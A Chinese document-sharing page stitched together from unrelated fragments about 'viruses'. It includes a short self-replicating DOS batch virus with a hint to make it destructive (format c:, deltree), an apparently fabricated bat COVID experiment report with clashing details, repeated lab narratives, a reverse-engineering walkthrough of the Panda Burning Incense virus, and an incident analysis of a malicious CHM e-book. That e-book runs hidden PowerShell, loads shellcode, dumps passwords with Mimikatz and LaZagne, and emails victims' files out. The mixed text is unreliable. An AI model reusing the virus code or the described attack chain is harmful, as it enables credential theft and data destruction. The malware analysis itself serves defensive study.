病毒样本分析实例
病毒样本分析
4、请给出一个计算机病毒的样本，并剖析其工作原理。
没有计算机病毒样本数据的同学，可以求助于老师。
（20分）
举一个“hello word”例子。
下面是一个简单的DOS批处理病毒源程序autoexec.bat（假设从A盘启动）：程序语句程序注解
IF exist c:\\autoexec.bat goto Virus REM 首先检查时机
Goto No_Virus REM 若时机不成熟则潜伏
:Virus REM 时机成熟时（子程序）
c: REM 转到C盘
ren autoexec.bat auto.bat REM 将正常文件改名，准备冒名顶替
copy a:\\autoexec.bat c:\\ REM 自我复制，开始繁殖
echo Hello Word! REM 病毒发作，表现症状
:No_Virus REM 正常程序入口
a: REM 转回A盘
/auto REM 执行正常程序
pause REM 暂停等待按任意键继续
这个程序非常简单，但却包含了计算机病毒的典型结构，引导部分、传染部分、激发部分等五脏俱全。
其触发机制是：C盘存在autoexec.bat文件，当我们用带有此病毒的启动软盘启动微机时，若C盘也有autoexec.bat文件，则病毒将C盘原autoexec.bat文件改名为auto.bat，把自身复制到C盘并显示“Hello Word！”。
如果按以前的分类，它可以算是个良性病毒（但再良的病毒都要占用系统资源）。
当然它还无加密和没有严重破坏系统的行为，但要是把echo Hello Word！改为format c:或deltree c:/y等那就……糟了~~~。
美国蝙蝠新冠实验报告
一、实验背景新冠病毒（SARS-CoV-2）自2019年底爆发以来，迅速蔓延全球，给人类健康和社会经济造成了严重影响。
蝙蝠作为冠状病毒的自然宿主，在新冠病毒的传播过程中扮演了重要角色。
为了深入了解新冠病毒在蝙蝠中的传播途径和变异机制，本研究对蝙蝠进行了新冠实验研究。
二、实验目的1. 了解新冠病毒在蝙蝠中的传播途径；2. 探究新冠病毒在蝙蝠中的变异机制；3. 为防控新冠病毒传播提供理论依据。
三、实验材料1. 蝙蝠样本：实验选用我国云南省某蝙蝠栖息地捕获的蝙蝠，共50只，分为5组，每组10只；2. 新冠病毒株：选用我国已分离的新冠病毒株，经过鉴定为SARS-CoV-2；3. 实验仪器：PCR仪、荧光显微镜、实时荧光定量PCR试剂盒、病毒分离培养试剂等。
四、实验方法1. 蝙蝠样本处理：将捕获的蝙蝠进行编号，采集其血液、唾液、粪便等样本，并进行病毒分离培养；2. 病毒分离培养：将蝙蝠样本进行病毒分离培养，观察病毒生长情况，并提取病毒核酸；3. 实时荧光定量PCR检测：采用实时荧光定量PCR技术检测蝙蝠样本中的新冠病毒核酸，以确定蝙蝠感染情况；4. 病毒变异分析：对分离培养的病毒进行基因测序，分析病毒变异情况；5. 传播途径研究：通过观察蝙蝠间接触、粪便、唾液等途径，探究新冠病毒在蝙蝠中的传播途径。
五、实验结果1. 蝙蝠感染情况：实验结果显示，50只蝙蝠中有30只感染了新冠病毒，感染率为60%；2. 病毒分离培养：成功分离培养出新冠病毒，观察病毒生长情况，发现病毒在蝙蝠细胞中繁殖能力强；3. 实时荧光定量PCR检测：检测结果显示，感染蝙蝠的血液、唾液、粪便等样本中均存在新冠病毒核酸；4. 病毒变异分析：通过基因测序，发现分离培养的病毒与我国已分离的新冠病毒株存在一定差异，表明病毒在蝙蝠中发生了变异；5. 传播途径研究：观察发现，新冠病毒在蝙蝠中的传播途径主要有以下几种：a. 直接接触：蝙蝠间通过直接接触传播病毒；b. 呼吸道传播：蝙蝠通过呼吸道排放病毒，导致病毒在空气中传播；c. 粪便、唾液传播：蝙蝠的粪便、唾液中含有病毒，通过污染环境或接触其他动物传播病毒。
实验室里的疾病侦破：传染病诊断案例(2)
实验室里的疾病侦破：传染病诊断案例在实验室里，我每天都要面对各种各样的疾病样本，通过仔细观察和分析，帮助医生和研究人员找出病因，为患者提供及时的治疗。
今天，我想和大家分享一个传染病诊断的案例，让我们一起来感受一下这个充满挑战和乐趣的过程。
那天，实验室里送来了一份特殊的样本，是一位年轻的患者，他出现了发热、咳嗽、乏力等症状。
从症状上看，这位患者可能患有一种传染病。
为了确诊，我们需要对样本进行详细的检测。
我们对患者的血液进行了检测，发现了一些异常的白细胞，这表明患者的身体正在与某种病原体作斗争。
接着，我们提取了患者的呼吸道分泌物，对其进行了病毒核酸检测。
结果显示，患者体内存在一种未知病毒。
为了进一步确认这种病毒的身份，我们进行了血清学检测。
通过分析患者的血清，我们发现患者体内产生了针对这种病毒的抗体。
这表明，患者曾经感染过这种病毒，并且已经康复。
那么，这种病毒究竟是什么呢？为了找到答案，我们查阅了大量文献，并与同行进行了交流。
最终，我们确定这种病毒是一种新型的流感病毒，它与已知的流感病毒有所不同。
这种病毒具有较强的传染性，而且还没有有效的疫苗。
得知这个消息后，我们立即将结果报告给了相关部门，并提出了防控建议。
为了防止病毒传播，医院采取了严格的隔离措施，并对患者进行了抗病毒治疗。
同时，政府也开始着手进行疫情防控工作，提醒民众加强自我保护。
这只是我们工作中的一个缩影。
在实验室里，我们每天都要面对各种各样的疾病样本，通过细致入微的观察和分析，为患者和医疗机构提供准确的治疗方案。
我们深知，每一份报告都关系到患者的生命安全，我们不能有丝毫的马虎。
在实验室的显微镜下，我凝视着那些微小的细胞和病毒，它们如同迷宫中的线索，引导着我解开一个个健康危机的谜团。
每一个样本都承载着一段故事，每一个疾病的侦破都是一场智与勇的较量。
今天，我想讲述的是关于传染病诊断的故事，这是一个复杂而扣人心弦的过程。
那是一个多云的早晨，实验室接收到了一份紧急样本，来自一位出现发热、咳嗽和乏力等症状的年轻患者。
木马病毒的行为分析样本
西安翻译学院XI’AN FANYI UNIVERSITY毕业论文题目: 网络木马病毒的行为分析专业: 计算机网络技术班级:姓名: 彭蕊蕊指导教师: 朱滨忠5月目录学号:院系: 诒华1 论文研究的背景及意义........................... 错误!未定义书签。
2 木马病毒的概况................................. 错误!未定义书签。
2.1 木马病毒的定义............................ 错误!未定义书签。
2.2 木马病毒的概述............................ 错误!未定义书签。
2.3 木马病毒的结构............................ 错误!未定义书签。
2.4 木马病毒的基本特征........................ 错误!未定义书签。
2.5木马病毒的分类............................. 错误!未定义书签。
2.6木马病毒的危害............................. 错误!未定义书签。
3 木马程序病毒的工作机制......................... 错误!未定义书签。
3.1 木马程序的工作原理........................ 错误!未定义书签。
3.2 木马程序的工作方式........................ 错误!未定义书签。
4 木马病毒的传播技术............................. 错误!未定义书签。
4.1 木马病的毒植入传播技术.................... 错误!未定义书签。
4.2 木马病毒的加载技术........................ 错误!未定义书签。
4.3 木马病毒的隐藏技术........................ 错误!未定义书签。
传染病阳性样本分析
传染病阳性样本分析传染病阳性样本分析的连贯性探讨1. 样本采集与运送的关键性样本采集是传染病阳性样本分析的首要步骤，其质量直接关系到后续检测的准确性。
在这一阶段，医护人员需根据患者的临床症状和病史，选择合适的采集时间和采集方法。
例如，对于疑似呼吸道传染病的患者，我们通常会采集咽拭子或支气管分泌物；而对于疑似血液传染病的患者，则需要采集血液样本。
采集完成后，样本的运送同样关键。
样本需要在适当的温度和湿度条件下，尽快送达到实验室，以保持样本的活性和完整性。
运送过程中，还需要做好样本的标识和记录，确保样本不会发生混淆或丢失。
2. 实验室前期处理的必要性实验室收到样本后，要进行前期处理。
这包括对样本进行过滤、离心、稀释等操作，以去除样本中的杂质和干扰物质，准备好后续的检测工作。
在这一步骤中，实验室技术人员需要严格遵守操作规程，确保样本的处理质量。
3. 实验室检测的精确性与多样性在前期处理完成后，我们进入实验室检测环节。
这一环节包括一系列的生物学和化学检测，如免疫荧光检测、酶联免疫吸附试验（ELISA）、聚合酶链反应（PCR）、实时定量PCR（qPCR）等。
这些检测方法可以精确地识别和定量样本中的病原体。
例如，以PCR检测为例，技术人员需要设计特异性的引物，选择合适的扩增程序，以放大病原体的特定基因片段。
通过电泳分析和自动测序仪，可以观察到扩增产物的大小，从而判断样本中是否存在目标病原体。
4. 结果解释与分析的深度与广度在得到实验室检测结果后，我们需要对这些结果进行深入的解释和分析。
这不仅涉及到对病原体的识别，还包括对病原体的生物学特性、致病机制、传播途径等方面的了解。
例如，当我们检测出某种病毒时，我们需要了解该病毒的感染途径，如空气传播、飞沫传播、血液传播等。
我们还需要了解该病毒的治疗方法、预防措施、疫苗接种情况等，以便为临床医生提供全面的治疗建议。
我们还需与临床医生进行有效的沟通，确保他们能够理解和应用报告中的信息。
熊猫烧香病毒样本分析
熊猫烧⾹病毒样本分析前⾔最近学校通知不开学，⽹课也不想上。
学习逆向也有段时间了，就想着找点东西练⼀下⽔平不⾼。
找了个病毒分析⼀⽐较经典的病毒分析。
我看⽹上有很多关于熊猫烧⾹病毒的分析，但都是侧重于对病毒功能以及影响的总结，具体分析⽅法并未提及。
本⽂主要基本信息动态分析分析⼯具以及环境OD PEIDVMware xp 虚拟机详细分析过程与思路查看⽂件基本信息在虚拟机中⽤PEID 打开病毒样本⽂件发现其⽆壳并且是Delphi 编写的，Delphi 编译器编译的程序有⼏个特点。
第⼀： 其函数默认调⽤约定为Register ，特点为函数参数是通过寄存器传⼊的。
第⼆： ⼀般Delphi 其字符串存储地址的负偏移⼀个dword长度处，存放字符串的长度。
打开OD 载⼊病毒样本⽂件来到程序⼊⼝点后我们进⾏进⼀步分析，我们看到⼊⼝点处有 函数① 和 函数②，其中函数②连续调⽤了三次。
我们F8向下执⾏，并分别进⼊两个函数分析其功能。
进⼊函数①我们发现其主要功能就是调⽤GetModuleHandleA()获得程序基地址（及程序实例句柄）向下继续分析函数②，在调⽤函数②时我们发现其传⼊了两个参数，我们在数据窗⼝中分析发现参数有⼀个为⼀串字符串：“ ***武*汉*男*⽣*感*染*下*载*者*** ". 我们F7进⼊函数内部分析发现其就时将eax 参数地址下的字符串进⾏复制侧重于对熊猫烧⾹病毒逆向分析过程中的思路和⽅法的分享所以我们知道了这三个参数是字符串复制函数，F8向下步过这些函数后。
他们把字符串都复制到了⼀块连续的内存中。
我们可以在数据窗⼝中观察这些字符的内容。
我们接着往下分析，发现两段相同的代码段，只是参数不同。
也就是当程序执⾏完函数0x405360和函数0x404018后如果je不成⽴则结束进程（猜测应该为病毒程序的⾃效验部分）。
我们分别进⼊连个函数分析。
我们先分析函数0x405360，函数的两个参数分别指向两个字符串⼀个是“xboy”，另⼀个如下。
新冠抗体样本处理实验报告
新冠抗体样本处理实验报告
根据实验要求，本次实验的目的是对新冠抗体样本进行处理，以便进
行检测。
实验中，我们从病毒感染患者的血液样本中分离出抗体，并通过
一系列化学方法对其进行处理，使得抗体的信号可以被有效地检测出来。
首先，我们使用血清分离机将血液样本进行离心分离，将血清和血细
胞分离开来。
接着，我们通过酸性洗涤法将红细胞残留物进行去除，获得
比较干净的血清样本。
随后，我们对血清样本进行预处理，以便进行后续的抗体检测。
我们
使用乙酰化法对血清样本进行预处理，目的是去除一些可能会对后续多肽
固定和抗体检测造成干扰的其他蛋白质和杂质。
通过此步骤的处理，我们
可以大大提高后续检测的准确性和灵敏度。
接下来，我们使用肽固定剂将血清样本中的抗体与固定在试管中的肽
结合起来，形成固定复合物。
然后，我们通过酶联免疫吸附实验（ELISA）的方法进行检测，以便定量地测量抗体的信号。
最后，我们通过数据分析的方法对实验结果进行处理，统计样本的抗
体含量以及抗体阳性率等相关数据。
我们对数据进行成功率、阳性率以及
检测灵敏度等指标的评估，以便能够判断样本处理效果的好坏。
综上所述，本次实验是一个比较复杂的过程，但各个步骤都十分关键，且需要严格的实验操作和控制。
通过本次实验，我们获得了新冠抗体样本
的相关数据，为新冠病毒的研究和防控提供了重要的参考依据。
病毒分析报告
病毒分析报告简介本文档是一份病毒分析报告，旨在通过对病毒样本进行深入分析，探索其特征、行为和危害，以提供对抗该病毒的有效手段。
本次分析的病毒样本是经过样本收集系统捕获并提供的未知病毒，作者将对其进行逆向工程和恶意代码分析，以评估其威胁程度和传播方式。
目录1.识别与分类2.恶意行为分析3.传播方式分析4.风险评估5.防护建议1. 识别与分类经过初步分析，本病毒样本可以被确定为一种新型的恶意软件。
通过对其二进制代码的静态和动态分析，发现该病毒拥有隐藏、加密、反调试等多种特征，具有一定的免疫性。
其主要特点包括： - 自复制能力：病毒通过在系统中创建副本进行自我复制，从而获得更大的传播范围。
- 加密与隐藏：病毒使用加密和隐藏技术，使其自身的代码难以被反汇编和分析。
- 远程控制：病毒通过建立与远程命令控制服务器的通信渠道，实现对感染系统的远程控制能力。
2. 恶意行为分析通过动态分析，我们发现该病毒具有以下恶意行为： - 数据窃取：病毒能够窃取用户的敏感数据，如账号密码、信用卡信息等，并将其发送到远程服务器。
- 后门功能：病毒在感染系统后，会植入后门程序，以便黑客能够远程访问受感染的系统。
- 信息篡改：病毒有能力修改用户主机中的重要文件，例如操作系统关键文件、应用程序以及安全软件等，进而影响系统的稳定性和安全性。
3. 传播方式分析通过对病毒样本的分析，我们发现其主要的传播途径为： - 邮件附件：病毒可能作为恶意附件随电子邮件发送给用户，并诱使用户打开附件。
- 感染可执行文件：病毒可以通过感染可执行文件的方式传播，一旦用户执行了受感染的文件，病毒即可在用户系统中运行并传播。
- 漏洞利用：病毒可能利用系统或应用程序的漏洞，通过网络传播到其他系统中。
4. 风险评估根据对该病毒的分析，我们认为其具有较高的威胁程度和危害性。
病毒采用多种技术手段，如加密、隐藏和远程控制等，可以绕过常见的防护措施，对系统和用户数据造成严重威胁。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
病毒样本分析实例
0×01事件经过
2016年2月26日，一个网络安全相关的QQ群内，一名用户分享了一份名为“网络安全宝典.chm”的电子书供大家下载，网络安全工程师Bfish自然地下载了这本电子书，打算简单翻阅后决定是否收藏。
当Bfish打开这个才12K大小的电子书时，感知到了计算机的异常行为，这让他意识到：这本电子书有问题。
在解开这份CHM文档后，网络安全工程师在一个html页面中找到了原因：这个电子书中的某个HTML页面内，嵌入了一段恶意代码，它可以下载一个PowerShell脚本并执行。
顺藤摸瓜，Bfish最终确认了这是一个针对特定人群，以盗取用户帐号密码、文档资料为目的恶意攻击事件。
这段CHM恶意代码如同幽灵一样被执行并作恶，故将此称之为幽灵电子书（ChmGhost）。
0×02主要危害
通过电子书散播，攻击受众有很强的群体性，对特定人群发起攻击简直易如反掌，而且电子书“诱饵”更容易迷惑大众。
目前看到的攻击代码，主要的危害为窃取用户隐私：Windows账户信息
和密码、各类应用程序的密码、计算机基本信息、屏幕截图、网络配置
和Wi-Fi信息、各类文档，造成用户敏感信息和资料泄漏。
这些资料的
泄漏伴随着商业机密泄漏的风险，后续或造成更大的损失。
另外，攻击时所用的恶意代码，无论是二进制还是脚本，几乎都来自网络下载，攻击可以随时开启和关闭，攻击手法、攻击目的也都可以变化，这个“后门”的潜在危害也相当之大。
2月26日发现的CHM的标题是网络安全相关的，并且在网络安全相关的QQ群内散播，表明攻击者的目标是网络安全从业和对网络安全感兴趣的、有一定计算机安全基础的群体，但就算如此，仅一天时间就已经有多名受害者，如果攻击者转到其他领域，受众群体应该会更没有感知能力，危害也将更大。
0×03攻击实施纵览
0×04详细技术分析
首先，CHM中使用了一种古老的方法—利用Internet.HHCtrl对象来运行任意命令行。
doc1.html中定义了一个Internet.HHCtrl对象，再通过后续脚本触发其Click事件，调用Internet.HHCtrl.Item2定义的命令行。
完整命令行如下：
命令行以隐藏方式启动PowerShell，并执行下载攻击者托管于Github上的攻击脚本——start.ps1。
start.ps1首先向106.80.36.165发起一个HTTP请求，下载的内容为一段PowerShel l脚本字符串，通过Invoke-Expression直接调用，脚本内容如下：
根据脚本中指明的方法，对其中的BASE64编码串进行解码、解压缩，又获得一段Po werShell脚本，内容如下：
按照脚本中指明的方法对BASE64串解码，获得一段二进制数据，为32位x86指令的shellcode。
脚本在解码这段shellcode后，将其拷贝到通过VirtualAlloc分配的一块RWX（Protect为0×40）的内存中，并通过CreateThread创建一个线程来执行，如下：
这段shellcode并没有经过任何加密处理，功能也非常简单：连接到指定的IP地址，获取一段新的shellcode，再次执行。
虽然简单，但是这中动态执行来自网络代码的功能，危害却是相当之大，因为攻击者随时可以下发新的代码，完成新的攻击，并且没有痕迹可循。
主流程如下表所示：
接下来是Mimikatz2.0的实现部分，这部分代码占据了整个start.ps1文件的绝大多数内容。
Mimikatz是一个抓取本机登录账户密码的神器，更多信息可以从项目主页ht tps:///gentilkiwi/mimikatz了解。
接着便是调用Mimikatz的Dumpcreds来获取当前登陆用户的密码，如图所示：
完成后生成的DumpPass.txt中的内容如下，截图来自真实受害者的数据：
接着，收集当前用户桌面上的几类文档，根据扩展名判断，扩展名分别为：txt，doc，docx，xls，xlsx，早期版本中还有sql。
非常明显，攻击者收集目标是重要的文档资料，这对受害者可能造成很大的损失。
从2月26号抓取的上报邮箱中的资料来看，扩展名还不限于此（攻击者持续更新代码中）。
接着，下载并执行一个名为GetPass.ps1的PS脚本，如下图所示：
顾名思义，该脚本的目的，依然是收集密码。
脚本执行后，下载两个文件，分别为Get. exe和Command.bat，然后执行Command.bat调用Get.exe，将获取的密码保存到用户目录下的D:\GetPass.txt中。
其中，Get.exe为跨平台密码检索利器——LaZagne，可以去项目主页https://gith /AlessandroZ/LaZagne获取更多信息。
LaZagne支持Windows和Linux 平台下多种类型软件保存的密码获取，功能可谓相当之强大，具体支持列表如下：
Command.bat则是多次启动Get.exe获取密码，并将结果保存至GetPass.txt，代码如下：
可以看出，攻击者意图收集包括数据库、浏览器、电子邮件、源代码管理、WI-FI等在内的5大类账户密码。
下图为来自真实受害者的GetPass.txt文件，其中包含了Chro
me浏览器保存密码的站点和相应用户名、密码，第一条便是淘宝的用户名和密码，由此可以看出，后果是相当严重的。
接下来，GetPass.ps1将GetPass.txt作为电子邮件附件，采用STMP协议发送至电子邮箱xxxxxxxxxx@。
该收件箱为某高校校园邮箱，登陆后跳转至Q Q企业邮箱。
最后，GetPass.ps1清理痕迹，至此执行完毕。
start.ps1继续收集受害者计算机的各类基本信息。
主要手法为通过调用WMI对象对系统的基本信息，硬件信息、用户信息、已安装的程序、用户文档以及网络信息进行收集，并将这些信息保存到一个名为ComputerInfo.html的HTML文件中，代码如下：
以下为一份来自真实受害者的ComputerInfo.html内容截图：
在信息收集完毕后，该脚本会对当前计算机现实屏幕进行截屏。
从真实受害者上报的数据来看，该功能是无效的，因为截屏的图片全部为黑色。
然后再将之前产生的DumpPass.txt，收集的用户桌面上的文档文件、产生的计算机信息文件、屏幕截图等，打包成名为Report.zip的压缩包，并通过电子邮件发送至指定的邮箱。
使用代码中留下的账号和密码登录邮箱后，我们发现有一定数量的受害者发送的邮件（登录于2016/2/27，15:29），邮箱内的邮件一段时间之后会被删除，27号登录时，26号晚的邮件已经被彻底删除。
打开邮件并下载附件Report.zip，解压后可以看到以下文件和目录，这些文件和之前描述的脚本行为相吻合，例如，打开Doc目录后，可以看到收集自受害者桌面的几类文档，在25号抓取的多封邮件中，还不乏各类工作报告，甚至个人工资单。
最后，start.ps1清理痕迹，主要功能执行完毕。
通过分析可知，整个攻击中的核心功能，均为开源项目。
攻击者编写了简单的整合脚本，将这些开源软件整合在一起，在云端部署了这些攻击代码，最终构建了这个攻击方案。